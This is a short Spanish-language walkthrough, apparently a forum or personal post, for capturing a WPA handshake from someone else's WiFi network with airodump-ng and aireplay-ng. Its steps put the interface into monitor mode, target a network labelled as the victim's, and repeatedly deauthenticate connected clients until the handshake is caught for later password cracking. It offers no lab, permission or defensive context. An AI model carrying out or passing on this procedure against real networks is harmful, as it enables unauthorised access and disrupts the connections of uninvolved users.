sudo su
iwconfig
Miras el nombre de tu interfaz el mío es wlan0 tu usas el que te ponga a ti
Haces lo siguiente
ifconfig wlan0 down
iwconfig wlan0 mode monitor
airodump-ng wlan0 esto empezara a ver las redes que hay a tu alcance
Ctrl+c con esto detienes el proceso de escaneo de las redes
Abres otra terminal haces el siguiente paso
airodump-ng -c channel --bssid (MAC VICT) -w password wlan0
Lo dejas capturando i abres otra terminal
I ejecutas lo siguiente
aireplay-ng -0 0 -a (MAC VICT) -c (MAC CLIENT ASOCIAT) wlan0 (esto des autentificara cada cliente asociado siempre que pongas el Mac del cliente asociado en (MAC CLIENT ASOCIAT)
Cuando des autentifiques un cliente asociado con el comando que te puse hay
Por ejemplo -0 0 lo estará des autentificando constante mente
Lo dejas des autentifican doce constante dos o un minuto o tres o lo que tú quieras entonces para que en el airodump se capture el handshake debes pararlo después de 3 o 2 minutos con un Ctrl+c
Presionas la flecha de así riba en tu teclado en la misma terminal i luego Enter para que lo des autentifiques de nuevo
Y te mantienes haciendo eso una i otra vez con cada cliente asociado hasta que captures el handshake